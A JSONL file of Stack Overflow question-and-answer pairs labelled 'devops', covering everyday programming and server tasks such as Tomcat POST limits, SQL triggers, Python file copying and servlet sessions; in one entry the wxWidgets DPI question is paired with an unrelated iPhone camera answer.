{"id": "hf_8ea34cbfc367", "question": "<p>For some reason, when I try to install <code>SQL Server 2008 Express</code>, I get an error saying that I need to have <code>.Net Framework 3.5</code> installed first, but the thing is: I already have! So could anybody tell me if I can bypass this verification by updating a registry key or something? I have np with visual studio or any other thing... just when I try to install sql express.</p>\n", "question_body": "", "answer": "I ran into this once before. Make sure that it is installed. Reinstall if necessary. I believe what I did was install SP1. SQL Server 2008 has a tendency of trying to install the Compact Framework 3.5 and based on the build or refresh of SQL, Compact Framework 3.5 SP1. HTH!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.827617"}
{"id": "hf_11c395d455fb", "question": "<p>I recently moved my website to a shared hosting solution at <a href=\"http://asmallorange.com\" rel=\"nofollow noreferrer\">asmallorange.com</a>, but I had to set my domain to use their provided nameservers in order for the site to properly resolve.  I was determined to keep control of the domain's DNS but I could find no way to make my top level domain resolve to the shared location which was in the format of </p>\n\n<pre><code>server.asmallorange.com/~username\n</code></pre>\n\n<p>So I know I'm missing something here, my question is this: </p>\n\n<p><strong>What in their nameservers/DNS entry makes it possible for <em>server.sharedhost.com/~username</em> to serve as a top level domain? (ie. <a href=\"http://topleveldomain.com\" rel=\"nofollow noreferrer\">http://topleveldomain.com</a>)</strong></p>\n", "question_body": "", "answer": "Nothing.  DNS simply maps topleveldomain.com to server.sharedhost.com.  It's the webserver which looks at the\n```\nHost: topleveldomain.com\n```\nheader and knows that's equivalent to server.sharedhost.com/~username.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.885249"}
{"id": "hf_5ca1b364cc02", "question": "<p>Has anyone done this?  Basically, I want to use the html by keeping basic tags such as h1, h2, em, etc; clean all non http addresses in the img and a tags; and HTMLEncode every other tag.  </p>\n\n<p>I'm stuck at the HTML Encoding part.  I know to remove a node you do a \"node.ParentNode.RemoveChild(node);\" where node is the object of the class HtmlNode. Instead of removing the node though, I want to HTMLEncode it.  </p>\n", "question_body": "", "answer": "You would need to remove the node representing the element you don't want. The encoded HTML would then need to be re-added as a text node.\nIf you don't want to process the children of the elements that you want to throw away, you should be able to just use OuterHtml ... something like this might work:\n```\n```\nnode.AppendChild(new HtmlTextNode { Text = HttpUtility.HtmlEncode(nodeToDelete.OuterHtml) });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.958672"}
{"id": "hf_44520b59a4fb", "question": "<p>Is there a way to test if an object is a dictionary?</p>\n\n<p>In a method I'm trying to get a value from a selected item in a list box.  In some circumstances, the list box might be bound to a dictionary, but this isn't known at compile time.</p>\n\n<p>I would like to do something similar to this:</p>\n\n<pre><code>if (listBox.ItemsSource is Dictionary&lt;??&gt;)\n{\n    KeyValuePair&lt;??&gt; pair = (KeyValuePair&lt;??&gt;)listBox.SelectedItem;\n    object value = pair.Value;\n}\n</code></pre>\n\n<p>Is there a way to do this dynamically at runtime using reflection?  I know it's possible to use reflection with generic types and determine the key/value parameters, but I'm not sure if there's a way to do the rest after those values are retrieved.</p>\n", "question_body": "", "answer": "Check to see if it implements IDictionary.\nSee the definition of System.Collections.IDictionary to see what that gives you.\n```\n```\nif (listBox.ItemsSource is IDictionary)\n{\n    DictionaryEntry pair = (DictionaryEntry)listBox.SelectedItem;\n    object value = pair.Value;\n}\n```\n```\nEDIT:\nAlternative when I realized KeyValuePair's aren't castable to DictionaryEntry\n```\n```\nif (listBox.DataSource is IDictionary)\n{\n     listBox.ValueMember = \"Value\";\n     object value = listBox.SelectedValue;\n     listBox.ValueMember = \"\"; //If you need it to generally be empty.\n}\n```\n```\nThis solution uses reflection, but in this case you don't have to do the grunt work, ListBox does it for you. Also if you generally have dictionaries as data sources you may be able to avoid reseting ValueMember all of the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:00.983329"}
{"id": "hf_751e9febc346", "question": "<p>How do I copy a file in Python?</p>\n", "question_body": "", "answer": "```\nshutil\n```\nhas many methods you can use. One of which is:\n```\n```\nimport shutil\n\nshutil.copyfile(src, dst)\n\n# 2nd option\nshutil.copy(src, dst)  # dst can be a folder; use shutil.copy2() to preserve timestamp\n```\n```\nCopy the contents of the file named\n```\nsrc\n```\nto a file named\n```\ndst\n```\n. Both\n```\nsrc\n```\nand\n```\ndst\n```\nneed to be the entire filename of the files, including path.\nThe destination location must be writable; otherwise, an\n```\nIOError\n```\nexception will be raised.\nIf\n```\ndst\n```\nalready exists, it will be replaced.\nSpecial files such as character or block devices and pipes cannot be copied with this function.\nWith\n```\ncopy\n```\n,\n```\nsrc\n```\nand\n```\ndst\n```\nare path names given as\n```\nstr\n```\ns.\nAnother\n```\nshutil\n```\nmethod to look at is\n```\nshutil.copy2()\n```\n. It's similar but preserves more metadata (e.g. time stamps).\nIf you use\n```\nos.path\n```\noperations, use\n```\ncopy\n```\nrather than\n```\ncopyfile\n```\n.\n```\ncopyfile\n```\nwill only accept strings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.036079"}
{"id": "hf_21993d165ef2", "question": "<p>Ideally something that will work with Oracle, MS SQL Server, MySQL and Posgress.</p>\n", "question_body": "", "answer": "At the moment there's no open-source library that supports all the SQL backends you mention.\nCLSQL\ncomes quite close (lacking only support for MS SQL). The alternatives are:\nCL-RDBMS\n(which supports Oracle, Postgres through Postmodern and SQLite3)\nPostmodern\n(only Postgres).\nIf you can use a commercial Lisp, you can give a try to\nCommonSQL\nincluded with Lispworks, which supports all the databases you mentioned.\nCLSQL looks like the most popular open source library at the moment. Unfortunately, it seems to suffer from bit rot, and the developers had to make some compromises to support all those platforms.\nIf the RDB backend is not a constraint, then I recommend Postmodern. It is very well documented and has a clean API (and a nice small language compiled to SQL). Also, it is well maintained and small enough to keep being understandable and extensible. It focuses only on Postgres, not trying to be all things for all people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.071938"}
{"id": "hf_2c41c153425e", "question": "<p>I was trying to remove all the lines of a file except the last line but the following command did not work, although file.txt is not empty.</p>\n\n<pre><code>$cat file.txt |tail -1 &gt; file.txt\n\n$cat file.txt\n</code></pre>\n\n<p>Why is it so?</p>\n", "question_body": "", "answer": "It seems to not like the fact you're writing it back to the same filename.  If you do the following it works:\n```\n```\n$cat file.txt | tail -1 > anotherfile.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.096795"}
{"id": "hf_3960afead3e9", "question": "<p>We have a customer requesting data in XML format. Normally this is not required as we usually just hand off an Access database or csv files and that is sufficient. However in this case I need to automate the exporting of proper XML from a dozen tables.</p>\n\n<p>If I can do it out of SQL Server 2005, that would be preferred. However I can't for the life of me find a way to do this. I can dump out raw xml data but this is just a tag per row with attribute values. We need something that represents the structure of the tables. Access has an export in xml format that meets our needs. However I'm not sure how this can be automated. It doesn't appear to be available in any way through SQL so I'm trying to track down the necessary code to export the XML through a macro or vbscript.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "There's an outline\nhere\nof a macro used to export data from an access db to an xml file, which may be of some use to you.\n```\n```\nConst acExportTable = 0\n\nSet objAccess = CreateObject(\"Access.Application\")\nobjAccess.OpenCurrentDatabase \"C:\\Scripts\\Test.mdb\"\n\n'Export the table \"Inventory\" to test.xml\nobjAccess.ExportXML acExportTable,\"Inventory\",\"c:\\scripts\\test.xml\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.119732"}
{"id": "hf_87f814f26ee4", "question": "<p>This is a sample (edited slightly, but you get the idea) of my XML file:</p>\n\n<pre><code>&lt;HostCollection&gt;\n  &lt;ApplicationInfo /&gt;\n  &lt;Hosts&gt;\n    &lt;Host&gt;\n      &lt;Name&gt;Test&lt;/Name&gt;\n      &lt;IP&gt;192.168.1.1&lt;/IP&gt;\n    &lt;/Host&gt;\n    &lt;Host&gt;\n      &lt;Name&gt;Test&lt;/Name&gt;\n      &lt;IP&gt;192.168.1.2&lt;/IP&gt;\n    &lt;/Host&gt;\n  &lt;/Hosts&gt;\n&lt;/HostCollection&gt;\n</code></pre>\n\n<p>When my application (VB.NET app) loads, I want to loop through the list of hosts and their attributes and add them to a collection. I was hoping I could use the XPathNodeIterator for this. The examples I found online seemed a little muddied, and I'm hoping someone here can clear things up a bit.</p>\n", "question_body": "", "answer": "You could load them into an XmlDocument and use an XPath statement to fill a NodeList...\n```\n```\nDim doc As XmlDocument = New XmlDocument()\ndoc.Load(\"hosts.xml\")\nDim nodeList as XmlNodeList\nnodeList = doc.SelectNodes(\"/HostCollectionInfo/Hosts/Host\")\n```\n```\nThen loop through the nodes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.144122"}
{"id": "hf_05d7532ad66d", "question": "<p>How many messages does the queue for a standard window hold? What happens when the queue overflows?</p>\n\n<p>The documentation for <code>GetMessage</code> and relatives doesn't say anything about this, and <code>PeekMessage</code> only gives you a yes/no for certain classes of messages, not a message count.</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/aa925082.aspx\" rel=\"noreferrer\">This page</a> says that the queues are implemented using memory-mapped files, and that there is no message count limit, but that page is about WinCE. Does this apply to desktop Win32 as well?</p>\n", "question_body": "", "answer": "10000 by default, but it can be adjusted via the registry.\nIf queue overflows, PostMessage fails.\nDocumentation here:\n```\nPostMessage\n```\nfunction on MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.243408"}
{"id": "hf_2ba5a236cad4", "question": "<p>NOTE: I am not set on using VI, it is just the first thing that came to mind that might be able to do what I need. Feel free to suggest any other program.</p>\n\n<p>I have a form with nearly 100 fields that I would like to auto-fill with PHP. I know how to do the autofill, but I would like to avoid manually adding the needed text to 100 fields.</p>\n\n<p>Is there an automated way I can take the text:</p>\n\n<pre><code>&lt;input name=\"riskRating\" id=\"riskRating\" type=\"text\" /&gt;\n</code></pre>\n\n<p>and change it to:</p>\n\n<pre><code>&lt;input name=\"riskRating\" id=\"riskRating\" type=\"text\" value=\"&lt;?php echo $data['riskRating']; ?&gt;\" /&gt;\n</code></pre>\n\n<p>Remember that I am wanting to do this to almost 100 fields. I am trying to avoid going to each field, pasting in the PHP code and changing the variable name manually.</p>\n\n<p>I'm hoping some VI guru out there knows off the top of his/her head.</p>\n", "question_body": "", "answer": "```\n:%s:\\(<input name=\"\\([^\"]\\+\\)\" id=\"[^\"]\\+\" type=\"text\" \\)/>:\\1value=\"<?php echo $data ['\\2']; ?>\" />:gci\n```\nThat's one line.\nHTH.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.280965"}
{"id": "hf_f21d1055b23b", "question": "<p>what configuration needs to be tweaked, and where does it live, in order to increase the maximum allowed post size?</p>\n", "question_body": "", "answer": "Apache Tomcat by default sets a limit on the maximum size of HTTP POST requests it accepts. In Tomcat 5, this limit is set to 2 MB. When you try to upload files larger than 2 MB, this error can occur.\nThe solution is to reconfigure Tomcat to accept larger POST requests, either by increasing the limit, or by disabling it. This can be done by editing [TOMCAT_DIR]/conf/server.xml. Set the Tomcat configuration parameter maxPostSize for the HTTPConnector to a larger value (in bytes) to increase the limit. Setting it to 0 in will disable the size check. See the\nTomcat Configuration Reference\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.304868"}
{"id": "hf_a3da8ca8129d", "question": "<p>How can you strip non-ASCII characters from a string? (in C#)</p>\n", "question_body": "", "answer": "```\n```\nstring s = \"søme string\";\ns = Regex.Replace(s, @\"[^\\u0000-\\u007F]+\", string.Empty);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.327888"}
{"id": "hf_9d6a7424fcd5", "question": "<p>I know I can do this:</p>\n\n<pre><code>IDateTimeFactory dtf = MockRepository.GenerateStub&lt;IDateTimeFactory&gt;();\ndtf.Now = new DateTime();\nDoStuff(dtf); // dtf.Now can be called arbitrary number of times, will always return the same value\ndtf.Now = new DateTime()+new TimeSpan(0,1,0);  // 1 minute later\nDoStuff(dtf); //ditto from above\n</code></pre>\n\n<p>What if instead of <strong>IDateTimeFactory.Now</strong> being a property it is a method <strong>IDateTimeFactory.GetNow()</strong>, how do I do the same thing?</p>\n\n<p>As per Judah's suggestion below I have rewritten my SetDateTime helper method as follows:</p>\n\n<pre><code>    private void SetDateTime(DateTime dt) {\n        Expect.Call(_now_factory.GetNow()).Repeat.Any();\n        LastCall.Do((Func&lt;DateTime&gt;)delegate() { return dt; });\n    }\n</code></pre>\n\n<p>but it still throws \"The result for ICurrentDateTimeFactory.GetNow(); has already been setup.\" errors.</p>\n\n<p>Plus its still not going to work with a stub....</p>\n", "question_body": "", "answer": "You can use Expect.Call to accomplish this. Here's an example using the record/playback model:\n```\n```\nusing (mocks.Record())\n{\n   Expect.Call(s.GetSomething()).Return(\"ABC\"); // 1st call will return ABC\n   Expect.Call(s.GetSomething()).Return(\"XYZ\"); // 2nd call will return XYZ\n}\nusing (mocks.Playback())\n{\n   DoStuff(s);\n   DoStuff(s);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.400014"}
{"id": "hf_f57f2439030b", "question": "<p>Using jQuery, how do you bind a click event to a table cell (below, <code>class=\"expand\"</code>) that will change the <code>image src</code> (which is in the clicked cell - original will be plus.gif, alternating with minus.gif) and <code>hide/show</code> the row immediately below it based on whether that row has a class of <code>hide</code>. (show it if it has a class of \"hide\" and hide if it does not have a class of \"hide\"). I am flexible with changing ids and classes in the markup.</p>\n\n<p>Thanks</p>\n\n<p>Table rows</p>\n\n<pre><code>&lt;tr&gt;\n  &lt;td class=\"expand\"&gt;&lt;img src=\"plus.gif\"/&gt;&lt;/td&gt;\n  &lt;td&gt;Data1&lt;/td&gt;&lt;td&gt;Data2&lt;/td&gt;&lt;td&gt;Data3&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr class=\"show hide\"&gt;\n  &lt;td&gt; &lt;/td&gt;\n  &lt;td&gt;Data4&lt;/td&gt;&lt;td&gt;Data5&lt;/td&gt;&lt;td&gt;Data6&lt;/td&gt;\n&lt;/tr&gt;\n</code></pre>\n", "question_body": "", "answer": "You don't need the show and hide tags:\n```\n```\n$(document).ready(function(){   \n    $('.expand').click(function() {\n        if( $(this).hasClass('hidden') )\n            $('img', this).attr(\"src\", \"plus.jpg\");\n        else \n            $('img', this).attr(\"src\", \"minus.jpg\");\n\n        $(this).toggleClass('hidden');\n        $(this).parent().next().toggle();\n    });\n});\n```\n```\nedit: Okay, I added the code for changing the image.  That's just one way to do it.  I added a class to the expand attribute as a tag when the row that follows is hidden and removed it when the row was shown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.422880"}
{"id": "hf_83b4d10201ac", "question": "<p>I've got the directive</p>\n\n<pre><code>&lt;VirtualHost *&gt;\n    &lt;Location /&gt;\n        AuthType Digest\n        AuthName \"global\"\n        AuthDigestDomain /\n        AuthUserFile /root/apache_users\n        &lt;Limit GET&gt;\n            Require valid-user\n        &lt;/Limit&gt;\n    &lt;/Location&gt;\n    WSGIScriptAlias / /some/script.wsgi\n    WSGIDaemonProcess mywsgi user=someuser group=somegroup processes=2 threads=25\n    WSGIProcessGroup mywsgi\n    ServerName some.example.org\n&lt;/VirtualHost&gt;\n</code></pre>\n\n<p>I'd like to know in the /some/script.wsgi</p>\n\n<pre><code>def application(environ, start_response):\n    start_response('200 OK', [\n        ('Content-Type', 'text/plain'),\n    ])\n    return ['Hello']\n</code></pre>\n\n<p>What user is logged in.</p>\n\n<p>How do I do that?</p>\n", "question_body": "", "answer": "add\n```\nWSGIPassAuthorization On\n```\n:\n```\n```\n<VirtualHost *>\n    <Location />\n        AuthType Digest\n        AuthName \"global\"\n        AuthDigestDomain /\n        AuthUserFile /root/apache_users\n        <Limit GET>\n            Require valid-user\n        </Limit>\n    </Location>\n    WSGIPassAuthorization On\n    WSGIScriptAlias / /some/script.wsgi\n    WSGIDaemonProcess mywsgi user=someuser group=somegroup processes=2 threads=25\n    WSGIProcessGroup mywsgi\n    ServerName some.example.org\n</VirtualHost>\n```\n```\nThen just read\n```\nenviron['REMOTE_USER']\n```\n:\n```\n```\ndef application(environ, start_response):\n    start_response('200 OK', [\n        ('Content-Type', 'text/plain'),\n    ])\n    return ['Hello %s' % environ['REMOTE_USER']]\n```\n```\nMore information at\nmod_wsgi documentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.545306"}
{"id": "hf_ae55364ced7d", "question": "<p>I'm writing an iPhone app with Cocoa in xcode.  I can't find any tutorials or sample code that shows how to take photos with the built in camera.  How do I do this?  Where can I find good info?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The\n```\nUIImagePickerController\n```\nclass lets you take pictures or choose them from the photo library.  Specify the source type as\n```\nUIImagePickerControllerSourceTypeCamera\n```\n.\nSee also this question previously asked:\nAccess the camera with iPhone SDK", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.570357"}
{"id": "hf_b1cca2736f43", "question": "<p>In wxWidgets, how can you find the pixels per inch on a wxDC? I'd like to be able to scale things by a real world number like inches. That often makes it easier to use the same code for printing to the screen and the printer.</p>\n", "question_body": "", "answer": "The\n```\nUIImagePickerController\n```\nclass lets you take pictures or choose them from the photo library.  Specify the source type as\n```\nUIImagePickerControllerSourceTypeCamera\n```\n.\nSee also this question previously asked:\nAccess the camera with iPhone SDK", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.594967"}
{"id": "hf_a3a139e8d93e", "question": "<p>My Google-fu is failing me on this question.</p>\n\n<p>I have a coworker who has Visual Studio 2005 on his machine. I have Visual Studio 2008. He wants to open a project I wrote in C# 3.0, and we've gotten that far, but VS2005 barfs on the 3.0 code, like <code>var</code>.</p>\n\n<p>He has the 3.0 and 3.5 frameworks installed, as well as the Visual Studio 2005 Extensions for Windows Workflow. What else does he need? Or are we pursuing a lost cause, a wild goose chase spurred by my thinking that I heard this was possible somewhere one time?</p>\n\n<p>Please don't suggest he install VS2008 or the Express edition. That simply isn't possible at this time. :(</p>\n", "question_body": "", "answer": "The IDE itself may not support the 3.0 functionality. If you can live without the 3.0 features you can compile to 2.0 which he should be able to run ok.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.636295"}
{"id": "hf_6f367195344a", "question": "<p>This is an interesting conundrum.</p>\n\n<p>We have a WPF app that has a Vista-like theme using soft pastels, Aero control templates, etc. What we've noticed is that this UI appears incredibly washed out on low quality LCDs. Is there a way to boost color saturation application-wide or are we at the mercy of bad monitors? Can we even tell, programmatically if we're being displayed on a low quality monitor?</p>\n\n<p>EDIT:</p>\n\n<p>Basically, these answers are what I wanted someone to confirm, without me leading people to say them! It was a management decision higher than me to go with this appearance and I needed some corroboration.</p>\n\n<p>Thanks everyone!</p>\n", "question_body": "", "answer": "I am not sure if WPF allows you to do anything, but my guess is that you can't directly control a user's monitor.\nYou can get things about the user's computer, namely bitdepth, but to adjust on-the-fly graphical information would be hugely expensive (processor wise). \nYou could write a routine that does it - changes the color of the graphics or such thing, but why?  It's the client machine - you really should program with the idea that you have no control over it.  If it is washed out on their screens, then they need better hardware, or they need to adjust the brightness/contract on their monitors correctly.  It's basically out of your realm of control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.677607"}
{"id": "hf_a98afb488625", "question": "<p>Is it possible to disable a trigger for a batch of commands and then enable it when the batch is done?</p>\n\n<p>I'm sure I could drop the trigger and re-add it but I was wondering if there was another way.</p>\n", "question_body": "", "answer": "```\n```\nDISABLE TRIGGER { [ schema_name . ] trigger_name [ ,...n ] | ALL }\nON { object_name | DATABASE | ALL SERVER } [ ; ]\n```\n```\nhttp://msdn.microsoft.com/en-us/library/ms189748(SQL.90).aspx\nfollowed by the inverse:\n```\n```\nENABLE TRIGGER { [ schema_name . ] trigger_name [ ,...n ] | ALL }\nON { object_name | DATABASE | ALL SERVER } [ ; ]\n```\n```\nhttp://msdn.microsoft.com/en-us/library/ms182706(SQL.90).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.724977"}
{"id": "hf_b088709ba127", "question": "<p>I'm trying to put together a comprehensive regex to validate phone numbers. Ideally it would handle international formats, but it must handle US formats, including the following:</p>\n\n<ul>\n<li><code>1-234-567-8901</code></li>\n<li><code>1-234-567-8901 x1234</code></li>\n<li><code>1-234-567-8901 ext1234</code></li>\n<li><code>1 (234) 567-8901</code></li>\n<li><code>1.234.567.8901</code></li>\n<li><code>1/234/567/8901</code></li>\n<li><code>12345678901</code></li>\n</ul>\n\n<p>I'll answer with my current attempt, but I'm hoping somebody has something better and/or more elegant.</p>\n", "question_body": "", "answer": "Here's my best try so far. It handles the formats above but I'm sure I'm missing some other possible formats.\n```\n```\n^\\d?(?:(?:[\\+]?(?:[\\d]{1,3}(?:[ ]+|[\\-.])))?[(]?(?:[\\d]{3})[\\-/)]?(?:[ ]+)?)?(?:[a-zA-Z2-9][a-zA-Z0-9 \\-.]{6,})(?:(?:[ ]+|[xX]|(i:ext[\\.]?)){1,2}(?:[\\d]{1,5}))?$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.749597"}
{"id": "hf_8a3f86aa1db4", "question": "<p>I have an Enum called Status defined as such:</p>\n\n<pre><code>public enum Status { \n\n    VALID(\"valid\"), OLD(\"old\");\n\n    private final String val;\n\n    Status(String val) {\n        this.val = val;\n    }\n\n    public String getStatus() {\n        return val;\n    }\n\n}\n</code></pre>\n\n<p>I would like to access the value of <code>VALID</code> from a JSTL tag. Specifically the <code>test</code> attribute of the <code>&lt;c:when&gt;</code> tag. E.g.</p>\n\n<pre><code>&lt;c:when test=\"${dp.status eq Status.VALID\"&gt;\n</code></pre>\n\n<p>I'm not sure if this is possible.</p>\n", "question_body": "", "answer": "So to get my problem fully resolved I needed to do the following:\n```\n```\n<% pageContext.setAttribute(\"old\", Status.OLD); %>\n```\n```\nThen I was able to do:\n```\n```\n<c:when test=\"${someModel.status == old}\"/>...</c:when>\n```\n```\nwhich worked as expected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.799176"}
{"id": "hf_5a3511f95efd", "question": "<pre><code>devenv mysolution.sln /build \"Release|Win32\" /project myproject\n</code></pre>\n\n<p>When building from the command line, it seems I have the option of doing a <code>/build</code> or <code>/rebuild</code>, but no way of saying I want to do \"project only\" (i.e. not build or rebuild the specified project's dependencies as well). Does anyone know of a way?</p>\n", "question_body": "", "answer": "Don't call\n```\ndevenv\n```\n, use the genericized build tool instead:\n```\n```\nvcbuild subproject.vcproj \"release|win32\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.852817"}
{"id": "hf_18c61f7dba21", "question": "<p>Suppose I use the [RemoteClass] tag to endow a custom Flex class with serialization intelligence. </p>\n\n<p>What happens when I need to change my object (add a new field, remove a field, rename a field, etc)?</p>\n\n<p>Is there a design pattern for handling this in an elegant way?</p>\n", "question_body": "", "answer": "Adding or removing generally works.\nYou'll get runtime warnings in your trace about properties either being missing or not found, but any data that is transferred and has a place to go will still get there. You need to keep this in mind while developing as not all your fields might have valid data.\nChanging types, doesn't work so well and will often result in run time exceptions.\nI like to use explicit data transfer objects and not to persist my actual data model that's used throughout the app.  Then your translation from DTO->Model can take version differences into account.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.877752"}
{"id": "hf_ee233f500daf", "question": "<p>I would like to know if there is some way to share a variable or an object between two or more Servlets, I mean some \"standard\" way. I suppose that this is not a good practice but is a easier way to build a prototype.</p>\n\n<p>I don't know if it depends on the technologies used, but I'll use Tomcat 5.5</p>\n\n<hr>\n\n<p>I want to share a Vector of objects of a simple class (just public attributes, strings, ints, etc). My intention is to have a static data like in a DB, obviously it will be lost when the Tomcat is stopped. (it's just for Testing)</p>\n", "question_body": "", "answer": "Couldn't you just put the object in the HttpSession and then refer to it by its attribute name in each of the servlets?\ne.g:\n```\n```\ngetSession().setAttribute(\"thing\", object);\n```\n```\n...then in another servlet:\n```\n```\nObject obj = getSession.getAttribute(\"thing\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:01.914747"}
